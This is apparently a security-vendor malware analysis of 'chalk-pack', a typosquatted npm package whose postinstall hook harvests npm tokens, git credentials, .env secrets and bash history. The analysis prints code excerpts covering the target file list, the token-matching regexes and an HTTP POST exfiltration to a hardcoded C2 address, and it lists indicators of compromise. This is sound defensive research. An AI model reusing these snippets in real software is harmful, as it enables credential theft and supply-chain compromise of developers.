chalk-pack - Postinstall npm Token and Credential Stealer
One of nine packages in the kwakom cluster — a coordinated campaign of malicious npm packages typosquatting popular utility names. chalk-pack carries an identical postinstall credential harvester across all four published versions (1.0.0, 1.0.2, 1.0.3, 1.0.4). On install, a postinstall hook exfiltrates npm tokens, git credentials, environment variables, and bash history. Secrets are collected from ~/.npmrc, ~/.git-credentials, ~/.env, ./.env, and ~/.bash_history, then POSTed to a hardcoded C2 endpoint (149.28.127.35:8888). A local dump is also written to /tmp/.npm-harvest-test.json. The payload is entirely unobfuscated, suggesting a development or test build deployed to production.
Package
Threat Actor
kwakomTags
No Obfuscation — Development Artefact
Unlike most production npm malware, this payload makes no attempt to obfuscate its intent. Function names (harvest, parseNpmrc, parseEnv), variable names (targets, secrets, findings), and inline comments ("npm tokens", "git credentials", "bash history (npm commands reveal tokens)") are fully descriptive. The output path /tmp/.npm-harvest-test.json and the comment block at the top explicitly labelling local test mode vs production mode strongly suggest this is either a development build or a sample left in a testing state before deployment. The C2 URL is also overridable via environment variable (C2_URL), which is a development convenience not present in production-hardened malware. This cuts both ways: trivial to analyse, but equally trivial to redeploy with a new C2 and a minifier pass.
Targeted Credential Collection
The harvester reads five fixed file paths and applies type-specific parsers to each. ~/.npmrc is parsed for auth tokens in three formats: the standard _authToken= registry line, bare npm_* token strings (the modern npm token format), and legacy _password= and _auth= fields. ~/.env and ./.env are scanned for NPM_TOKEN, NPM_AUTH_TOKEN, and AWS credentials. ~/.git-credentials yields raw credential lines. ~/.bash_history is filtered for npm commands containing the words token, publish, adduser, or login — targeting commands where a token may have been passed as a CLI argument.
postinstall.js — target file list
const targets = [
{ path: path.join(os.homedir(), '.npmrc'), type: 'npmrc' },
{ path: path.join(os.homedir(), '.git-credentials'), type: 'git-creds' },
{ path: path.join(os.homedir(), '.env'), type: 'env' },
{ path: path.join(process.cwd(), '.env'), type: 'env-local' },
{ path: path.join(os.homedir(), '.bash_history'), type: 'bash-history'},
];
postinstall.js — npmrc token extraction
const authTokenMatch = content.match(/\/\/registry\.npmjs\.org\/:_authToken=([^\s]+)/);
const npmTokenMatches = content.matchAll(/npm_[a-zA-Z0-9]{36}/g);
const legacyAuth = content.match(/:_password=([^\s]+)/);
C2 Exfiltration
Collected secrets are serialised as JSON and POSTed to the C2 endpoint only if at least one secret was found (results.secrets.length > 0), reducing noise on clean machines. A local copy is always written to /tmp/.npm-harvest-test.json regardless. The C2 URL defaults to http://149.28.127.35:8888 but can be overridden by setting the C2_URL environment variable at install time — a pattern consistent with a configurable attack framework or a red-team tool repurposed as malware. No HTTPS; credentials transit in plaintext, suggesting the operator controls the network path or does not consider interception a meaningful risk.
postinstall.js — conditional exfiltration
const C2_URL = process.env.C2_URL || 'http://149.28.127.35:8888';
if (C2_URL && results.secrets.length > 0) {
const req = http.request(C2_URL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' }
});
req.write(JSON.stringify(results));
req.end();
}
Indicators of Compromise
Malicious Packages
| Package | Version | Author | Notes |
|---|---|---|---|
| chalk-pack | 1.0.0 | kwakom | Initial release; identical payload to all subsequent versions |
| chalk-pack | 1.0.2 | kwakom | Same postinstall credential harvester |
| chalk-pack | 1.0.3 | kwakom | Same postinstall credential harvester |
| chalk-pack | 1.0.4 | kwakom | Same postinstall credential harvester |
URLs
| URL | Context |
|---|---|
| hxxp://149.28.127.35:8888 | C2 exfiltration endpoint; HTTP POST; plain JSON; no auth; Vultr/Choopa ASN — shared across all kwakom-cluster packages |
Targeted File Paths
| Path | Context |
|---|---|
| /tmp/.npm-harvest-test.json | Local credential dump written on every run; confirms test/dev build |
| ~/.npmrc | Primary target; parsed for npm auth tokens in three formats |
| ~/.git-credentials | Git credential store; raw lines exfiltrated |
| ~/.env / ./.env | Environment files; parsed for NPM_TOKEN, NPM_AUTH_TOKEN, AWS keys |
| ~/.bash_history | Shell history filtered for npm token/publish/login commands |
Environment Variables / Config Paths
| Artefact | Context |
|---|---|
| NPM_TOKEN / NPM_AUTH_TOKEN | npm publish/registry tokens — primary objective |
| AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY | AWS credentials harvested as secondary target |
| C2_URL | Operator-configurable C2 override; confirms framework or tooling origin |